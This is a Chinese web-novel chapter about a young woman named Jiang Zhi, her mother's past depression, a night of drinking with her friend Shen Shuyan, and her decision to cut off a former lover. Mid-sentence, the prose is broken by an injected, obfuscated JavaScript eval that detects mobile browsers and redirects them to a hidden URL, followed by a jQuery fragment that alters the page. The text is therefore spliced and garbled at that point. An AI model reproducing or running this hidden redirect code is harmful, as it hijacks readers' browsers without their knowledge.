姜知高中的语文老师曾经说过一句话。


    人生是一种必然。


    他是由课文扯到佛学空门，又扯到因缘果，最后得出这个结论的。


    如果是必然，那还有没有改变的必要？雨声淅淅沥沥，教室内的学生昏昏欲睡，或是在埋头刷题，听见和记住这句话的比例不超过十分之一。


    姜知总觉得自己不够人如其名，她是个足够后知后觉的人。


    这次她梦到二十岁生日，也就是法定结婚年龄时，于光写的一封信。


    一贯以严肃父亲形象出现的中年人，工工整整地写了一整页纸。


    “宝贝女儿，展信佳。记得你产前的一个星期，连着都是雨天，大雨倾盆，乌云密集，也给屋内添几分烦闷。但就在你出生的时候，天空开始放晴，变成十足的艳阳天。”


    “我和你妈妈总觉得，这一生太潦草，没什么了不得的大成就。你出生后为我们的生活添了许多的亮色，很长一段过去里，直至以后，你的幸福都是最最最重要的事。看着连家都找不到路的小不点长成了那么优秀懂事的模样，我们欣慰、骄傲。今后不管你做出什么选择，都会支持你，一如既往。”


    于光是一个语文教师。他已经很多年没再写作，起码在自述里。


    姜知除了感动，酸一句文化人就是会煽情外，没太放在心上。甚至偶尔觉得，姜燕书和于光对她的呵护太超过了，仿若自己是什么易碎品，她表现得很脆弱吗？


    再度梦到泛黄的信纸，她顿觉十分怀念，原件在搬家时弄丢，也许永远消失在了世上，她突然很想再碰一碰。


    从哪天开始，无所不能的父母退出了孩子的人生舞台，不再是最大的避风港，他们也有很多解决不了的事。


    月明星稀，艳阳天的晚上。姜燕书问姜知：“你天天跟着老范家的女儿玩，会不会有时感觉心理不平衡？”


    姜知笑了笑：“人各有命呗，大小姐不也有大小姐的烦恼，只是我不知道。”


    姜燕书笑得温柔，抚了把姜知的发丝。她最满意的就是培养了一个独立坚强的女儿，健康活泼乐观，谁见了都会喜欢。


    但她，仍然有一个担忧。


    在一次复诊时，医生告诉她，各项不良的指标其实在怀孕时就已经挺严重，有几率会遗传。


    不亚于晴天霹雳，姜燕书高声反问：“也就是说我女儿生下来就会抑郁？”


    “不是不是，”医生斟酌着字句，“可以理解为，精神上脆弱的几率会大一点，需要稍作注意。”


    这也就是为什么，姜燕书格外在意姜知去看心理医生这件事。


    那晚母女难得夜谈。


    “姜知，爸妈不拦着你去爱一个人。但爱是很危险的事情。”


    爸妈含蓄务实惯了，姜知终于找到机会问：“什么是爱？”


    姜燕书说了这辈子最有文艺范的一句话：“我觉得，爱是由不得自己。”


    姜知笑了笑。


    “别看我们现在这么稳重平凡，谁还没年轻过呀？当时你爸爸还给我写过情书，什么‘你是我遗失的另一半心脏。’”


    “好浪漫呀。”文化人果然会煽情。


    “浪漫个屁，”姜燕书否认，“后来我们在鸡毛蒜皮的小事上吵架，再加上生你的事。那叫一个累心啊，可能吵着吵着就散了，但也没散，就这样过来了呗。”


    姜知她怀里嘀咕：“那我不要小孩了，正合我意。”


    “还被你钻上空子了！”姜燕书气笑，“情绪聚集到一定的程度就爆发了，要是我当时也这样想，那还能有你吗？”


    “为什么会吵架，妈妈。”姜知埋在睡裙的丝质布料里，眼眶悄悄变红。


    “因为光两个人相爱就很难了。更何况，今后要面对的不止两个人的事情。”


    相爱不就是两个人的事吗？


    姜知没深入思考下去，她只是在想，睡在姜燕书的怀里，好温暖。


    姜知又一次笃定，我最爱的人就是我妈妈。这个赋予她生命的人，因为赋予她生命吃了最多苦的人。


    不管选择题的另一端是谁，都不可能改变答案的。


    母女连心，产后虽然姜燕书的病情控制得还行，但药物还是带来新一轮副作用。在古铜色的镜子前，不完美被放大再放大。她扒着眼角的细纹，原本纤细的腰肢不再平坦紧实，赘肉一圈圈的下坠，崩溃突如其来。无知无觉时，已经坐上了窗台。


    “妈妈。”


    一句脆生生的呼喊划过夜空，如此脆弱的小生命，可她偏偏那样可爱，光着洁白的脚掌，对她笑。


    姜燕书在黑夜中找回自己的声音：“你觉得，妈妈好看吗？”


    “妈妈是最好看的人，永远是。”小姜知露出灿烂的笑，扑进她怀里。


    所以。


    姜燕书俯身抱了抱她：“女儿，不要难过。”


    “谁都不可以让你难过。”


    -


    “谁都不可以让我难过。”姜知看着眼前流动的色彩光影，一字一顿说。


    桌上放了杯澄黄色的苦艾酒，冰块浮在表层，折出几缕碎掉的光。


    男人正襟危坐，神情严肃：“又怎么了。”


    “想起来我妈妈说的话。”姜知喝一口酒，液体滑过喉口，有点涩，更多是苦，酒保介绍的时候说有70度。


    酒杯相撞，伶仃作响。迟来的醺然从心底升起，情绪也不停相撞。


    “她说得对。”沈疏言认同。


    -


    姜知和沈疏言的聊天搭子关系始于一个电话。


    从游乐园回来，姜知倒头就睡。


    ……却没睡着。


    那天她距离周时屿很近，一半由荷尔蒙主导，一半是气氛使然。熟悉的依恋感穿过厚重的云雾，浓烈的情感包裹着空气，快将她淹没。


    氛围太好，他们慢慢地靠近。影子覆盖下来，鼻尖相触，呼吸洒在脸颊处，侧身就能碰上他的双唇。


    “不行。”然后姜知从梦中醒来。抛下一切让她陷得更深的东西，越过人群狂奔。她坐上出租车后，拨通一个电话。


    只是开着，但没有说话。


    “喂？小知？姜知？知知？”


    每唤一声，眼泪就更重一分。


    “我好想你。”姜知开口。


    “想我就回家呗，这么大人了，还要我帮你买高铁票啊？”


    母亲的声音仍具有抚慰人心的作用，可问题在于——她吸了吸鼻子。


    “我和他又见面了。”姜知坦白，终于愿意承认现实。


    那边短暂地沉默。


    姜燕书从来不会怪姜知任何，在爱情上人们习惯利己和权衡利弊，将付出视为吃亏，可是最爱她的人却说，无论你怎么做，都是正确的。


    “这孩子，”她主动提及，姜燕书反而镇静下来，舒了口气，“你在哪？我派个人去陪你。”


    姜燕书还能找谁。


    姜知看了一眼随叫随到的沈疏言，不得不感叹真是行动派，母亲是，沈疏言是，从卧室跑到酒吧的自己也是。


    -


    「出来喝酒，想聊天。」


    「地址。」


    沈疏言从来不喝酒。作用是在一旁看着她，不让姜知的人身安全受到威胁。


    这人心思一贯藏得极深，明摆了不想和人交心。作为搭子，倒是不问原因，不问距离，只会准时出现。


    诚然，真诚是美好的品质。不负责的交流也是不可多得的轻松时刻，那天后她拥有了一个免费的聊天搭子。


    不交心，确实会更轻松。


    其实酒很难喝，但……想要酒精。这个念头就如左摇右摆的时针，促使她一杯接着一杯。直到世界眩晕、晃荡。直到被接住，落地前的最后一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992550|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个念头是——姜燕书没看错人，沈疏言是个正人君子。


    沈疏言皱起眉，拦在姜知不断下滑的手臂上：“你的情况很危险，自己没有意识到？”


    她咽下了最后一口酒，含糊其词问：“我应该停下吗？”


    错目时，她想要组织别的语言，比如主语是谁，原因是什么——是沉没成本，但舍不得也是因为沉没成本。


    “其实你心里有答案，不是吗。”沈疏言的声音隔着玻璃传来。


    ……


    每个人的心都是一座迷宫。城门紧闭，复杂路况用于筛选，有幸走入其中的人，也许只是恰好找到一块松动的砖。


    “沈疏言。”


    “我还是……很喜欢他。”


    连想法也控制不了，真是挫败。


    能让真话被混以醉意说出，就是酒精的最大作用了。


    沈疏言看向姜知，俯身说了极轻的一句：“我知道。”


    他不知是想到了什么，读心一般地说：“很多事情都不由人为控制。我接触的患者，十多年也没走出情伤的都有，三年算什么，很短了。”


    姜知在椅子上坐着。


    “如果我恢复了记忆会怎样。”


    “不会怎样。”


    “我会难过的。”


    “不一定会。”


    “会的。”


    “你现在不难过？”


    “我迟早会不难过。”


    她的酒量还算不错，即便晕晕乎乎，仍然能理性回答他的问题。


    沈疏言放下姜知的胳膊，往后坐了一点，“既然你已经有答案。”


    几近本能，姜知想逃，但这次她选择直面恐惧：“我害怕，方向错误，所以全错，人生真的有正确答案吗？”


    “可人生是一种必然。”


    脑海里，语文老师竟然又跑出来说，留着板寸加黑框眼镜，长得和沈疏言还有点像。


    “那就先试试，实践出真知。”


    “……好。”姜知笑了，或许她只不过是想听见这个答案。


    下定决心后，姜知不再去碰那些酒精。默默盯着杯中焰火燃烧，轻松了不少，想起来也应该问候对方：“挺晚了吧，你，你为什么愿意陪我坐着？”


    沈疏言笑了，眼里有零星笑意：“因为你很有意思啊。”


    这话听着暧昧，姜知：“呵呵。”


    沈疏言突然说：“测试你一下。”


    “什么？”


    “有孤独终老的打算吗？”


    姜知急了：“咒谁呢！”


    沈疏言继续笑：“就刚刚，想到了什么。”


    想到了，很多啊。


    想到了……


    姜知揉着发胀的脑袋，又断片了。她从床上坐起来，望着天花板发呆，打开冰箱泡了杯蜂蜜水，加几颗话梅，搅几下，强迫自己喝完。


    她酒后不喜欢喝任何东西，但周时屿不知道从哪看到这玩意治头疼，每次都递到嘴边，一点点喂她喝完。


    酒后不仅有蜂蜜水，还有一个不会移动、不会变冷的怀抱。


    玻璃杯内空空如也。


    -


    原来，说服自己放弃比想象得要轻易。


    她将糖果丢弃，联系方式删除。删除前的最后一句话是“别再来找我。这次是真的。”


    小谈很惊讶。


    “这么有诚意的男人上哪找？何况还是现实版高富帅啊！小姜你……你真的不动心？”


    终究不熟，小谈也只会调侃这样一句，用局外人的眼光打量他俩，用名为世俗的尺。


    姜知坐在电脑前，低头敲键盘，目不斜视：“我不走回头路。”


    对方睁大了眼睛，捂住嘴尽量不发出声音，觉得吃到了不得的大瓜。


    这场闹剧，在小谈的惊讶、新朋旧友不解但尊重的目光、姜燕书的笑容中，回到原点。